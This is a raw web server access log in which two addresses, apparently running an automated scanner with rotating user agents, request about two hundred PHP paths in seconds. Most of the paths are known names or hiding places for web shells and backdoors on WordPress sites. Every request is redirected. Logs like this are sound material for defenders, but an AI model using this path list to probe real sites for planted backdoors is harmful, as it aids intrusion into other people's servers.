[23/Apr/2025:03:20:48 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:48 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:48 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:49 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:49 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:20:49 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:49 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:49 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:20:50 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:50 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:20:51 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:20:51 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:51 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:51 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:20:52 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:52 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:52 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:52 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:52 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:52 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:52 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:53 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:53 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:53 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:53 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:53 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:53 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:53 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:54 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:54 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:55 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:55 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:55 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:55 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:55 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:55 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:55 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:56 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:56 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:56 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:56 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:56 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:56 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:56 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:20:57 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" 